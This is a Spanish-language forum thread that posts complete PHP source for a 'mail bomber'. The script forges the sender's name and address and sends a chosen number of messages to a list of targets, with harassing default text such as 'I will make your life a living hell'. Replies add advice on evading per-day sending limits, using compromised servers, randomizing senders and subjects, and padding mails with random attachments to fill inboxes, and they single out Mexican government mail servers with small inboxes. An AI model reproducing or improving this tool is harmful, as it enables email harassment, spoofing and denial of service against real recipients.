Comunidad Underground de México

Software => Programación => PHP => Mensaje iniciado por: BigBear en noviembre 14, 2014, 07:30:07 am

Título: [PHP] DH Bomber 0.5
Publicado por: BigBear en noviembre 14, 2014, 07:30:07 am
Un simple mail bomber en PHP en la proxima version voy a usar correos gmail para enviar mensajes , no el mailer local de la pagina web.

Una imagen :

(http://doddyhackman.webcindario.com/images/dhbomber05.jpg)

El codigo :

Código: php [Seleccionar]

<?php

// DH Bomber 0.5
// (C) Doddy Hackman 2014

echo '
<style type="text/css">


.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #ffffff;
}


#pie {
position: absolute;
bottom: 0;
}

body,a:link {
background-color: #000000;
color:#ffffff;
Courier New;
cursor:crosshair;
font-size: small;
}

input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#ffffff;
border: solid 1px #ffffff;
border-color:#ffffff
}

a:link,a:visited,a:active {
color: #ffffff;
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}

</style>';

echo "<title>DH Bomber 0.5 (C) Doddy Hackman 2014</title>";

echo '<center><h1>-- == DH Bomber 0.5 == --</h1></center>
<center>
<br>';

if (isset($_POST['bombers'])) {
   
    $cantidad_bien = 0;
    $cantidad_mal  = 0;
   
    $need = "";
    $i    = "";
    $need .= "MIME-Version: 1.0\n";
    $need .= "Content-type: text/html ; charset=iso-8859-1\n";
    $need .= "MIME-Version: 1.0\n";
    $need .= "From: " . $_POST['nombrefalso'] . " <" . $_POST['falso'] . ">\n";
    $need .= "To: " . $_POST['nombrefalso'] . "<" . $_POST['falso'] . ">\n";
    $need .= "Reply-To:" . $_POST['falso'] . "\n";
    $need .= "X-Priority: 1\n";
    $need .= "X-MSMail-Priority:Hight\n";
    $need .= "X-Mailer:Widgets.com Server";
   
    echo "
<table border=1>
<td><center><h2><a href=" . "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "" . ">Console</a></h2></center></td><tr>
<td><fieldset>\n\n";
   
    $leyendo_mailist = explode("\n", trim($_POST['mailist']));
    $mails           = array_filter($leyendo_mailist, 'trim');
   
    foreach ($mails as $mail) {
        for ($i = 1; $i <= $_POST['count']; $i++) {
            if (@mail($mail, $_POST['asunto'], $_POST['mensaje'], $need)) {
                $cantidad_bien++;
                echo "[<font color=#00FF00>Sent Successful</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                flush();
            } else {
                echo "[<font color=red>Send Fail</font>] Message <b>$i</b> to <b>" . htmlentities($mail) . "</b><br>";
                $cantidad_mal++;
            }
        }
        echo "<br>";
    }
   
    echo "<font color=#00FF00>[" . $cantidad_bien . "]</font> mails sent <font color=#00FF00>successfully</font>";
    echo "<br><font color=red>[" . $cantidad_mal . "]</font> mails sent <font color=red>failed</font>";
   
    echo "</fieldset></td></table>";
   
    if ($cantidad_bien == 0) {
        echo "<script>alert('Mails Not Send')</script>";
    } else {
        //echo "<script>alert('[".$cantidad_bien."] mails sent successfully')</script>";
    }
   
} else {
    echo '
<form action="" method="POST">
<table border="1">
<tr>
<td>FakeMail : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="falso" value="lagarto@juancho.com" size="44" type="text"></td></tr><tr>
<td>FakeName : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="nombrefalso" value="Juancho" size="44" type="text"></td></tr><tr>
<td>Subjects : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="asunto" value="Hi Bitch" size="44" type="text"></td></tr><tr>
<td>Count : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><input name="count" value="1" size="44" type="text"></td></tr><tr>
<td>Mailist : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mailist" rows="7" cols="41">ihateyou@hotmail.com</textarea></td></tr><tr>
<td>Body : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><textarea name="mensaje" rows="7" cols="41">I will make your life a living hell</textarea></td></tr><tr>
</tr></tbody></table><br><br>
<input name="bombers" value="Send" type="submit">
</form>';
}

echo '
<br>
<h1>-- == (C) Doddy Hackman 2014 == --</h1>
</center>';

// The End ?

?>
Título: Re:[PHP] DH Bomber 0.5
Publicado por: 12_v0lt5 en noviembre 17, 2014, 12:02:26 pm
una duda el mail bomber se usaba para llenar de mensajes a algún correo, y los mailers son para envio masivo

Se ve bueno tienes alguno que use SMTP ;D
Título: Re:[PHP] DH Bomber 0.5
Publicado por: lesmocasanova en diciembre 16, 2014, 03:54:24 pm
una duda el mail bomber se usaba para llenar de mensajes a algún correo, y los mailers son para envio masivo

Se ve bueno tienes alguno que use SMTP ;D
Así es, para eso es un bomber. Pero igual puedes hacer lo mismo con este script.

La bronca con SMTP es que muchos servicios te van a cortar el envío de muchos mails llegados a cierto tope. Otra de las cosas es que hoy en día algunos clientes de correo (sino es que muchos o todos) te agrupan correos de un mismo origen y asunto, como Outlook, los Windows Phone, creo que iOS también, y varios más. Así pierde su chiste, porque bien fácil te deshaces de ellos y es muy poco probable que llenes inboxes de 5GB o 1GB con mails de unos cuantos kilobytes.

En Gmail encontré que el tope es de unos 2500 mails por día, pero eso es a través de la interfaz web, probablemente sea menos (tal vez la mitad) por SMTP. Esto lo saqué de esta página de soporte de Gmail (https://support.google.com/a/answer/166852?hl=es).

En Outlook.com es de 300 por día, según la respuesta de un MVP (http://answers.microsoft.com/en-us/outlook_com/forum/oemail-ofolders/per-day-email-sending-limit-on-new-outlookcom/955a3a2c-b55d-4c85-9ffe-86995d5cfbb1). En otro link (http://www.outlook-apps.com/outlook-com-daily-limit-emails/) dicen que éste limite lo cambian según tu "reputación".

Para sacarle provecho a uno de SMTP, tendría que ser de un server pwneado o que no tenga límites de envío y el script se tendría que modificar para que generara mails de remitente random, y asuntos más o menos random (pero entendibles, tal vez de una lista por ejemplo). Eso nomas' para molestar, para llenar el inbox habría que generar bytes random como adjunto para cada mail. Pero incluso entonces, probablemente se vaya directo a la carpeta de Spam todo. El único lugar donde tal vez funcionaría sería en gobierno... sé que (en México) varias dependencias tienen sus propias instalaciones de Exchange, y a veces limitan el tamaño del inbox a algo muy chiquito (100MB en unos).